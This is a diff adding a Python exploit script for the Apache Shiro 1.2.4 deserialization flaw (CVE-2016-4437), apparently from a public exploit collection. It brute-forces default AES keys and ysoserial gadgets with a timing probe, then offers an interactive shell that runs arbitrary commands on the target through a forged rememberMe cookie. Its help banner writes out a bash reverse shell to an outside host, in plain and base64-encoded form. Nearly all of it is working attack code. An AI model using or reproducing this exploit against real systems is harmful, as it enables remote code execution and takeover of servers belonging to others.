|
| 1 | +#!/usr/bin/env python3 |
| 2 | +# -*- coding: utf-8 -*- |
| 3 | +# author: zhzyker |
| 4 | +# from: https://github.com/zhzyker/exphub |
| 5 | +import os |
| 6 | +import sys |
| 7 | +import re |
| 8 | +import base64 |
| 9 | +import uuid |
| 10 | +import subprocess |
| 11 | +import requests |
| 12 | +from Crypto.Cipher import AES |
| 13 | + |
| 14 | +if len(sys.argv)!=2: |
| 15 | + print('+-------------------------------------------------------------------------------------------------------+') |
| 16 | + print('+ DES: By zhzyker as https://github.com/zhzyker/exphub +') |
| 17 | + print('+ Vuln Name: CVE-2016-4437 | Shiro 550 | Shiro 1.2.4 +') |
| 18 | + print('+ +') |
| 19 | + print('+ Nc shell need encode command: http://www.jackson-t.ca/runtime-exec-payloads.html +') |
| 20 | + print('+ Original: bash -i >&/dev/tcp/1.1.1.1/233 0>&1 +') |
| 21 | + print('+ Encoding: bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEuMS4xLjEvMjMzIDA+JjE=}|{base64,-d}|{bash,-i} +') |
| 22 | + print('+-------------------------------------------------------------------------------------------------------+') |
| 23 | + print('+ USE: python3 <filename> <url> +') |
| 24 | + print('+ EXP: python3 shiro-1.2.4_rce.py http://1.1.1.1:8080 +') |
| 25 | + print('+ VER: Apahce Shiro <= 1.2.4 +') |
| 26 | + print('+-------------------------------------------------------------------------------------------------------+') |
| 27 | + sys.exit() |
| 28 | +url = sys.argv[1] |
| 29 | +cmd_sleep = 'sleep-5' |
| 30 | +ysoserial = 'ysoserial-sleep.jar' |
| 31 | +gadget_list = ["CommonsBeanutils1","CommonsCollections1","CommonsCollections2","CommonsCollections3","CommonsCollections4","CommonsCollections5","CommonsCollections6","CommonsCollections7","Spring1","Spring2","Jdk7u21","JRMPClient","ROME","Clojure"] |
| 32 | +#key_list = ["kPH+bIxk5D2deZiIxcaaaA==", "2AvVhdsgUs0FSA3SDFAdag==", "3AvVhmFLUs0KTA3Kprsdag==", "4AvVhmFLUs0KTA3Kprsdag==", "5aaC5qKm5oqA5pyvAAAAAA==", "6ZmI6I2j5Y+R5aSn5ZOlAA==", "bWljcm9zAAAAAAAAAAAAAA==", "wGiHplamyXlVB11UXWol8g==", "Z3VucwAAAAAAAAAAAAAAAA==", "MTIzNDU2Nzg5MGFiY2RlZg==", "U3ByaW5nQmxhZGUAAAAAAA==", "5AvVhmFLUs0KTA3Kprsdag==", "fCq+/xW488hMTCD+cmJ3aQ==", "1QWLxg+NYmxraMoxAXu/Iw==", "ZUdsaGJuSmxibVI2ZHc9PQ==", "L7RioUULEFhRyxM7a2R/Yg==", "r0e3c16IdVkouZgk1TKVMg==", "bWluZS1hc3NldC1rZXk6QQ==", "a2VlcE9uR29pbmdBbmRGaQ==", "WcfHGU25gNnTxTlmJMeSpw==", "ZAvph3dsQs0FSL3SDFAdag==", "tiVV6g3uZBGfgshesAQbjA==", "cmVtZW1iZXJNZQAAAAAAAA==", "ZnJlc2h6Y24xMjM0NTY3OA==", "RVZBTk5JR0hUTFlfV0FPVQ==", "WkhBTkdYSUFPSEVJX0NBVA=="] |
| 33 | +#key_list = ["kPH+bIxk5D2deZiIxcaaaA==", "2AvVhdsgUs0FSA3SDFAdag==", "3AvVhmFLUs0KTA3Kprsdag==", "4AvVhmFLUs0KTA3Kprsdag==", "5aaC5qKm5oqA5pyvAAAAAA==", "6ZmI6I2j5Y+R5aSn5ZOlAA==", "bWljcm9zAAAAAAAAAAAAAA==", "wGiHplamyXlVB11UXWol8g==", "Z3VucwAAAAAAAAAAAAAAAA=="] |
| 34 | +key_list = ["kPH+bIxk5D2deZiIxcaaaA==", "2AvVhdsgUs0FSA3SDFAdag==", "3AvVhmFLUs0KTA3Kprsdag=="] |
| 35 | +header = { |
| 36 | +'User-agent' : 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36' |
| 37 | +} |
| 38 | + |
| 39 | + |
| 40 | +print ("[*] Testing gadget") |
| 41 | +for gadget in gadget_list: |
| 42 | + |
| 43 | + for key in key_list: |
| 44 | + popen = subprocess.Popen(['java', '-jar', ysoserial, gadget, cmd_sleep], stdout=subprocess.PIPE) |
| 45 | + BS = AES.block_size |
| 46 | + pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() |
| 47 | + mode = AES.MODE_CBC |
| 48 | + iv = uuid.uuid4().bytes |
| 49 | + encryptor = AES.new(base64.b64decode(key), mode, iv) |
| 50 | + file_body = pad(popen.stdout.read()) |
| 51 | + base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) |
| 52 | + payload = base64_ciphertext.decode() |
| 53 | + try: |
| 54 | + r = requests.get(url, headers=header, cookies={'rememberMe': payload}, timeout=10) |
| 55 | + time = r.elapsed.seconds |
| 56 | + except: |
| 57 | + print ("[-] Target Content Failed") |
| 58 | + sys.exit() |
| 59 | + if time >= 5: |
| 60 | + key_succes = key |
| 61 | + gadget_succes = gadget |
| 62 | + print ("[+] Find gadget: " + gadget_succes) |
| 63 | + if gadget_succes != gadget: |
| 64 | + print ("[*] Check gadget: " + gadget) |
| 65 | +print ("[+] Find Key: " + key_succes) |
| 66 | + |
| 67 | + |
| 68 | +def exploit(url, cmd, key_succes, gadget_succes): |
| 69 | + base64_cmd = base64.b64encode(str.encode(cmd)) |
| 70 | + cmd64 = base64_cmd.decode('ascii') |
| 71 | + command = "bash -c {echo," + cmd64 + "}|{base64,-d}|{bash,-i}" |
| 72 | + print ("[+] Base64 Command: " + command) |
| 73 | + |
| 74 | + popen = subprocess.Popen(['java', '-jar', ysoserial, gadget_succes, command], stdout=subprocess.PIPE) |
| 75 | + BS = AES.block_size |
| 76 | + pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() |
| 77 | + mode = AES.MODE_CBC |
| 78 | + iv = uuid.uuid4().bytes |
| 79 | + encryptor = AES.new(base64.b64decode(key_succes), mode, iv) |
| 80 | + file_body = pad(popen.stdout.read()) |
| 81 | + base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) |
| 82 | + payload = base64_ciphertext.decode() |
| 83 | + try: |
| 84 | + r = requests.get(url, headers=header, cookies={'rememberMe': payload}, timeout=10) |
| 85 | + if r.status_code == 200: |
| 86 | + print ("[+] Command Send Succes, Please Check (No Echo)") |
| 87 | + else: |
| 88 | + print ("[-] Command Send Failed, Please Check (No Echo)") |
| 89 | + except: |
| 90 | + print ("[-] Command Send Failed, Please Check (No Echo)") |
| 91 | + |
| 92 | + |
| 93 | +if key_succes: |
| 94 | + while 1: |
| 95 | + cmd = input("Shell >>> ") |
| 96 | + if cmd == "exit" : exit(0) |
| 97 | + exploit(url, cmd, key_succes, gadget_succes) |
| 98 | +else: |
| 99 | + print ("[-] Not Key, Not Gadget, Not vuln") |
| 100 | + sys.exit() |
| 101 | + |
| 102 | + |
0 commit comments